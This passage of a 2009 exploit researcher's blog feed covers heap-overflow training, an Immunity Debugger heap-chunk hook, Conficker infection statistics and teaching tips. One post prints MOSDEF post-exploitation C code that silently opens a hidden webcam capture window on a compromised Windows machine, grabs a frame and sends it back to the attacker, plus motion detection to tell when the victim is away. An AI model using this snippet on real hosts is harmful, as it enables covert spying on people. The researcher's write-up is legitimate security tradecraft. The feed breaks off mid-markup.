src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-7108538177953708215</id><published>2009-04-26T05:40:00.000-07:00</published><updated>2009-04-26T05:55:52.089-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='miami'/><category scheme='http://www.blogger.com/atom/ns#' term='training'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>MEMO: Heap training</title><content type='html'>Dear diary,&lt;br /&gt;  I'm finally back but just for a short message. Between writing exploits, developing with Kostya material for the "Windows shellcode writing" class (Check out syscan.org for more information) and living I didn't have much time left.&lt;br /&gt;  This small post is just to announce that i'm gonna be teaching the Heap class May 11-14 in Miami Beach (&lt;a href="http://www.immunityinc.com/education-currentschedule.shtml"&gt;more info&lt;/a&gt;).&lt;br /&gt;  I usually try to update the material of the class, in fact, i can recall of a class which i use exactly the same material as the one before.&lt;br /&gt;  This time i'm going to add more information about XP/2003 bypassing specially where there is no lookaside on it (Which was the case of an exploit a week ago) and probably explain (with exercise) the FreeListInUse trick. &lt;br /&gt;  For the lucky of you that can make it, Nicolas Pouvesle will be explaining one of the introduced subjects.&lt;br /&gt;&lt;br /&gt;Peace,&lt;br /&gt;Nico (Waisman)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-7108538177953708215?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/7108538177953708215/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=7108538177953708215' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/7108538177953708215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/7108538177953708215'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/04/memo-heap-training.html' title='MEMO: Heap training'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3091330155584855305</id><published>2009-04-13T18:56:00.000-07:00</published><updated>2009-04-14T12:40:10.902-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mosdef'/><category scheme='http://www.blogger.com/atom/ns#' term='motion detection'/><category scheme='http://www.blogger.com/atom/ns#' term='webcam picture'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Hacking like in the movies (or how to take a picture with your webcam)</title><content type='html'>Dear diary,&lt;br /&gt;  When you spent an amount of time diving on the heap on an exploit without any significant result, you start feeling the lack of productivity.&lt;br /&gt;  To avoid that feeling, i from time to time stop what i'm doing to get myself into a lame pet projects to clear my mine, in this case was tasking a picture with the webcam.&lt;br /&gt;  It's actual quite simple, unless you follow the CF_BITMAP path, in which case you will lost a day, until you figure out the solution is CF_DIB.&lt;br /&gt;  The key feature of MOSDEF is the possibility that you have to avoid touching disk or executing command, unless it's really needed, this will give a tremendous post-exploitation advantage over host based IDS. Each time i see people uploading a file and executing it, it chill my spine.&lt;br /&gt;  MOSDEF basically compiles a C code into process independent shellcode that gets the resolution of api functions remotely, as you might guess everything gets executed on the exploited process.&lt;br /&gt;  The first step to write out MOSDEF C post exploitation command, is to find out what api functions you need, in this case, to get a picture of a webcam. The first google choice was to use DirectShow, which is probably the smartest idea but translated into mosdef could be a little bit time consuming (yes, tomorrow im back to more heap). So my selection was to the capCreateCaptureWindow.&lt;br /&gt; #import "remote", "avicap32.dll|capCreateCaptureWindowA" as "capCreateCaptureWindowA"&lt;br /&gt;       &lt;br /&gt;  This function creates a video window (which you can obviously start hidden) and returns its handle. Based on the handle, you can send different message to either record video or take a picture.&lt;br /&gt;  In my case, was the second option, so i did the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;          // Create a Window and connect it to the driver&lt;br /&gt;   hwnd = capCreateCaptureWindowA("CANVAS", 0x40000000, 0, 0, 640, 480, proghwnd, 0);&lt;br /&gt;   SendMessageA(hwnd, 1024+10 ,0,0);  // wm_cap_driver_connect&lt;br /&gt;   SendMessageA(hwnd, 1024+50 ,1,0);  // wm_cap_set_preview&lt;br /&gt;   SendMessageA(hwnd, 1024+52 ,30,0); // set_previewrate&lt;br /&gt;&lt;br /&gt;   // Get a Frame and copy it to the clipboard&lt;br /&gt;   SendMessageA(hwnd, 1084,0,0);      // get_frame&lt;br /&gt;   SendMessageA(hwnd, 1054,0,0);      // wm_cap_copy copy to clipboard&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;   You will think this is the hard part, but what it took me more time was to grab the picture out of the clipboard, since i try the to grab it as a CF_BITMAP and didn't work out as expected.&lt;br /&gt;   The solution was to grab it as CF_DIB which returns a memory object containg a BITMAPINFO structure and after that the actual raw image.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;   hbitmap = GetClipboardData( 8 ); // CF_DIB&lt;br /&gt;          pbih = GlobalLock( hbitmap );&lt;br /&gt;   pBits = pbih + 49;&lt;br /&gt;&lt;br /&gt;   hor  = pbih-&gt;biWidth; &lt;br /&gt;          vert = pbih-&gt;biHeight;&lt;br /&gt;          bpp  = pbih-&gt;biBitCount/8; &lt;br /&gt;   size = hor * vert * bpp ;&lt;br /&gt;&lt;br /&gt;          sendint(hor);&lt;br /&gt;   sendint(vert);   &lt;br /&gt;   senddata2self(pBits, size);&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;   This simply gets transformed into a small python command called "saycheese"&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_aUReV5sSeqk/SePxm9USFhI/AAAAAAAAFsk/8D5z6kVLvRM/s1600-h/graph1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 179px;" src="http://3.bp.blogspot.com/_aUReV5sSeqk/SePxm9USFhI/AAAAAAAAFsk/8D5z6kVLvRM/s320/graph1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5324364836079015442" /&gt;&lt;/a&gt;&lt;br /&gt;   That after its get executed, you will get a scary face like this one inside your screenshot section&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_aUReV5sSeqk/SePx42ud9MI/AAAAAAAAFss/jGuLRWyfipI/s1600-h/graph2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://2.bp.blogspot.com/_aUReV5sSeqk/SePx42ud9MI/AAAAAAAAFss/jGuLRWyfipI/s320/graph2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5324365143547442370" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;   Neat, a picture is worth a thousand words, at least for your boss or your clients. &lt;br /&gt;   But if you are one of those owl hackers (*blink*) that wait into the deep of the night for your prey to stop using the machine so you can start downloading the 3gb database, you can rest now.&lt;br /&gt;   I add a small script that runs our motiondetection command, that returns the motion's percentage based on two pictures taken through the webcam (the algo is quite simple, just compare pixel by pixel to find out change).&lt;br /&gt;   Aside of the percentage, it returns into a neat picture showing the place where motion was found. (NOTE: Any resemblance of any character to any actual person, whether living or dead, is purely coincidental, specially with that Keanu Reeves movie).  &lt;br /&gt;&lt;br /&gt;  &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_aUReV5sSeqk/SeP0eJpQKyI/AAAAAAAAFs0/rYvGD9IeybI/s1600-h/screengrab-786.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_aUReV5sSeqk/SeP0eJpQKyI/AAAAAAAAFs0/rYvGD9IeybI/s320/screengrab-786.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5324367983304256290" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;EDIT: Juano@Netifera share his knowledge on the subject. To improve accuracy of the motion detection algo, you can take a couple of pictures and create an array based on the average pixel on each position, that will give you a decent background image to compare with. &lt;br /&gt;&lt;br /&gt;Peace&lt;br /&gt;Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3091330155584855305?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3091330155584855305/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3091330155584855305' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3091330155584855305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3091330155584855305'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/04/hacking-like-in-movies-or-how-to-take.html' title='Hacking like in the movies (or how to take a picture with your webcam)'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_aUReV5sSeqk/SePxm9USFhI/AAAAAAAAFsk/8D5z6kVLvRM/s72-c/graph1.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6355930281826403435</id><published>2009-03-31T10:44:00.000-07:00</published><updated>2009-03-31T10:53:31.495-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='conflicker'/><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='ms08-067'/><title type='text'>Sean eternos los laureles...</title><content type='html'>It seems like there are an irregular amount of infected computers with that Conflicter worm, the Paris Hilton of the worms, (quoting some blog i lost the url) from Argentina as this CAIDA research shows: &lt;a href="http://www.caida.org/research/security/ms08-067/conficker.xml"&gt;http://www.caida.org/research/security/ms08-067/conficker.xml&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.caida.org/research/security/ms08-067/telescope.tcp445.nov21.norm.log.animated.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 1149px; height: 583px;" src="http://www.caida.org/research/security/ms08-067/telescope.tcp445.nov21.norm.log.animated.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Argentina stands out has having a disproportionately large number of infected IP addresses&lt;/blockquote&gt;.&lt;br /&gt;&lt;br /&gt;Two theories:&lt;br /&gt;o Either the Conflicker worm was created here (Yes, I'm talking about you)&lt;br /&gt;o or their version of the MS08-067 works pretty well on Spanish windows.&lt;br /&gt;&lt;br /&gt;If tomorrow morning, when you are reading the news, you start seeing an important amount of Maradona's pictures, you will know the correct answer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6355930281826403435?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6355930281826403435/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6355930281826403435' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6355930281826403435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6355930281826403435'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/03/sean-eternos-los-laureles.html' title='Sean eternos los laureles...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2123912319526201268</id><published>2009-03-30T11:36:00.000-07:00</published><updated>2009-03-30T12:09:07.281-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='chunkanalizehook'/><category scheme='http://www.blogger.com/atom/ns#' term='immunity debugger'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>Small tools, Big hearts: A guide to Caring for your little tool</title><content type='html'>Dear Diary,&lt;br /&gt;  Bas always says that exploiting is nothing more than intelligent debugging. I agree, specially because I have probably a couple of weeks ahead schedule for more debugging...&lt;br /&gt;&lt;br /&gt;  So if that your case too, let me give you a hand:&lt;br /&gt;&lt;br /&gt;  Let said, you are planning your heap primitive. These days, you have to aim for something like  the Lookaside single-list pointer, the Bitmask trick (a.k.a. a free chunk &lt; 1024 and the only entry of that freelist or just a free chunk) or any other of the Brett Moore tricks.&lt;br /&gt;    &lt;br /&gt;  The point is, that you need a special heap layout so when the actual overwrite happens, you modify exactly the chunk you plan to. That takes a lot of time, brain cells and a basket of try-error.&lt;br /&gt;   To help you reduce time, we wrote this simple hook script, that has been on ID for years: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;!chunkanalizehook -a ADDRESS  (exp)&lt;br /&gt;&lt;/span&gt;  &lt;span style="font-weight:bold;"&gt;ADDRESS&lt;/span&gt;    of the place where you want to set a hook&lt;br /&gt;  &lt;span style="font-weight:bold;"&gt;(exp)&lt;/span&gt;    expression to calculate the chunk address&lt;br /&gt;&lt;br /&gt;   The basic idea is, you set the script on the code address exactly before the actual overwrite is going to happen, and this will automatically dump you the chunk given by the "expression" argument and the next couple of chunks.&lt;br /&gt;   For example, let say you have this piece of code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;font-color:#0000FF"&gt;     402020:  MOV EDI,DWORD PTR DS:[EAX]&lt;br /&gt;     402022:  SHR ECX,2&lt;br /&gt;     402025:  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;   When eip points to the opcode 402022, EDI will be the overwriting chunk data. So what you have to is set chunkanalize at the beggining of that chunk&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;   !chunkanalizehook -a 0x402022 EDI - 0x8&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   And you can now run your exploit, each time that opcode gets executed, you will see on Immunity Debugger Log Window (Alt+L), the heap dump:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;034CBC58   &gt; Hit Hook 0x00402022, checking chunk: 0x034cbc58&lt;br /&gt;===============================================&lt;br /&gt;0x034cbc58&gt; size:    0x00000520  (00a4)  prevsize: 0x00000050 (000a)&lt;br /&gt;            heap:   *0x00000000*         flags:    0x00000001 (B)&lt;br /&gt;0x034cc178&gt; size:    0x00000410  (0082)  prevsize: 0x00000520 (00a4)&lt;br /&gt;            heap:   *0x00000000*         flags:    0x00000000 (F)&lt;br /&gt;            next:    0x035fd930          prev:     0x034c0178&lt;br /&gt;0x034cc588&gt; size:    0x000002a8  (0055)  prevsize: 0x00000410 (0082)&lt;br /&gt;            heap:   *0x00000000*         flags:    0x00000001 (B)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   The first chunk is the overwritting chunk, the second one the one that soon is gonna get modified. &lt;br /&gt;   Seems I'm not lucky yet, hopefully you are&lt;br /&gt;&lt;br /&gt;Peace,&lt;br /&gt;Nico       &lt;br /&gt;PS: Take a look at the python script (PyCommands folder), it can be improved quite easily!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2123912319526201268?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2123912319526201268/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2123912319526201268' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2123912319526201268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2123912319526201268'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/03/small-tools-big-hearts-guide-to-caring.html' title='Small tools, Big hearts: A guide to Caring for your little tool'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6314689504954545485</id><published>2009-03-26T13:54:00.000-07:00</published><updated>2009-03-31T10:58:10.294-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trainings'/><category scheme='http://www.blogger.com/atom/ns#' term='immunity'/><category scheme='http://www.blogger.com/atom/ns#' term='cyberdefense'/><category scheme='http://www.blogger.com/atom/ns#' term='experience'/><category scheme='http://www.blogger.com/atom/ns#' term='japan'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>Technical trainings: The good, the bad, the weird.</title><content type='html'>Dear Diary,&lt;br /&gt;  I'm back in Buenos Aires again, enjoying the end of the summer. The training madness is over, until next &lt;a href="http://www.immunityinc.com/education-currentschedule.shtml"&gt;May&lt;/a&gt; where i'm back with the heap overflow class.&lt;br /&gt;  Don't get me wrong, teaching is my favourite task at Immunity and out of it (Next week I'm gonna start as a teacher assistant on the subject "Ethics" on a local university. Greek tragedy is what I will be explaining). But the true is that training takes a lot from you, and at the same time it gives you so much.&lt;br /&gt;  My favourite part is in day two, when everything start making sense and you can see people really enjoying each exercise when they put all the pieces together. &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/ScvwmeByy-I/AAAAAAAAFqs/JLxQMszathE/s1600-h/japan2.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/ScvwmeByy-I/AAAAAAAAFqs/JLxQMszathE/s320/japan2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5317608328727284706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  The japanese training was amazing, I couldn't enjoy it more. The class was funny and entraining, one of the guys at the beginning of the class introduce himself as Shoichi Nakagawa, Japan's minister of finance who gave a press conference drunk.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/Scvwl0_sJEI/AAAAAAAAFqk/v9zORr_4nSI/s1600-h/japan1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 124px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/Scvwl0_sJEI/AAAAAAAAFqk/v9zORr_4nSI/s320/japan1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5317608317712606274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  The only big problem that i had was obviously the language. I got  two girls translating, but it wasn't simultaneous so I have to make a pause on each phrase so its get translate. &lt;br /&gt;  The trick I pull to make it more dynamic, was to make a random student who finish the exercise explain what he did and why in the projector computer. It was a win-win situation, students got a second explanation in Japanese while the selected student explanation help him understand the subject even more deeply by being able to teach it.&lt;br /&gt;  People there were quite nice, we had pizza and some drinks on the first day, and at some point everyone got in a circle and start giving a small speech of who they were and what they expected for the class. I wish I can do that on every class!&lt;br /&gt;  I guess the main problem that i had with languages, was not to be able to listen to what students talk between each other, that's usually a key factor of a class, because it allows me to identify levels and gave different exercise upon it.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/Scv0Hkn4jnI/AAAAAAAAFrM/vE3bd6RcDnY/s1600-h/dsc01473.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/Scv0Hkn4jnI/AAAAAAAAFrM/vE3bd6RcDnY/s320/dsc01473.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5317612195968224882" /&gt;&lt;/a&gt;&lt;br /&gt;  Japan itself was amazing, and I want to thanks on the website to the people from cyberdefense (Jack-san, Lauri-san, Yusuke-san and Matsumoto-san) for the big hand they gave me on the training.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/Scv0H16nmlI/AAAAAAAAFrU/DXIU8gusW18/s1600-h/dsc01467.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/Scv0H16nmlI/AAAAAAAAFrU/DXIU8gusW18/s320/dsc01467.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5317612200610208338" /&gt;&lt;/a&gt;&lt;br /&gt;  They also took us to a traditional salaryman restaurant near Akihabara, where we try different types of local dishes and the freshest sushi i ever try. (yes, all the fishes in the picture were alive).&lt;br /&gt;  &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_aUReV5sSeqk/Scv0IaCn9-I/AAAAAAAAFrc/4zAdMw9jPsk/s1600-h/dsc01462.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_aUReV5sSeqk/Scv0IaCn9-I/AAAAAAAAFrc/4zAdMw9jPsk/s320/dsc01462.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5317612210307463138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  Going back to the training, I went back from Japan to Buenos Aires, only to stay two days and then back to Miami to give two more training with my dearest friend Kostya Kortchinsky. Those training were pretty good and we got quite an amount of really skilled students, it was a real surprise to see everyone at the same level!&lt;br /&gt;  Back in the airport, waiting for my flight back to Buenos Aires, i put together a list of rules (or tips) that i had being collecting over the years:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; &lt;span style="font-weight:bold;"&gt;Never ever ever never&lt;/span&gt; start compiling and fixing stuff in the middle of the class (only like 10 minutes max is allowed).&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Don't look insecure&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Be comfortable with your material, remember to read it and know exactly what is comming next. It's really common to get excited and start explaining stuff that might appear later.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Always tell war stories.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Most difficult task: Be prepare for the most advanced student and for the most inexperienced. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Don't spent your entire class on the slow students: Try to push him, help them as much as possible, but don't loose the track of the class. You request at the beginning of the class for basic requirements that is the student responsibility to get before class.  &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Always bring extra exercises.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Real life examples is always a win. People enjoy owning a real server vs your exercise server.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Improvization is good and people will appreciate it, only when your material is solid.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Not knowing the answer of all the question is ok. You are not god neither Kostya.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Exercise, Exercise and more Exercise. Always support your material with hand-ons exercise.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Students love owning stuff, if they can archive shellcode execution they will be happy++. The satisfaction of writing a workable exploit is priceless, even tho is on your "hoolio" server.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; Be progressive with your exercise. Each exercise has to teach at least  one new thing or introduce a new challenge.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;o&lt;/span&gt; One, two even three challenges are ok per exercise, but try not overwhelm the students.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Peace,&lt;br /&gt;Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6314689504954545485?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6314689504954545485/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6314689504954545485' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6314689504954545485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6314689504954545485'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/03/technical-trainings-good-bad-weird.html' title='Technical trainings: The good, the bad, the weird.'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_aUReV5sSeqk/ScvwmeByy-I/AAAAAAAAFqs/JLxQMszathE/s72-c/japan2.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6160482188120720191</id><published>2009-03-20T19:07:00.000-07:00</published><updated>2009-03-20T19:16:43.162-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='0days'/><category scheme='http://www.blogger.com/atom/ns#' term='no more free bugs'/><title type='text'>no more free bugs?</title><content type='html'>It is me or this "no more free bugs" &lt;a href="http://www.immunityinc.com/downloads/ApologyofOdays.pdf"&gt;movement &lt;/a&gt;is as old as Methuselah?&lt;br /&gt;I think the real challenge would be "no more pennys for bugs".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nico&lt;br /&gt;PS: Does fame count as money? Cause i had seen a lot of bugs paid with that currency.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6160482188120720191?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6160482188120720191/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6160482188120720191' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6160482188120720191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6160482188120720191'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2009/03/no-more-free-bugs.html' title='no more free bugs?'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3801988476811558383</id><published>2009-02-10T14:47:00.001-08:00</published><updated>2009-02-10T15:02:40.633-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows 2003'/><category scheme='http://www.blogger.com/atom/ns#' term='japan'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>If you are doing your homework correctly, you will get... (II)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SZIEKbv6SjI/AAAAAAAAEuw/upoy1Taf8Oc/s1600-h/screenshot_3rd_day.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 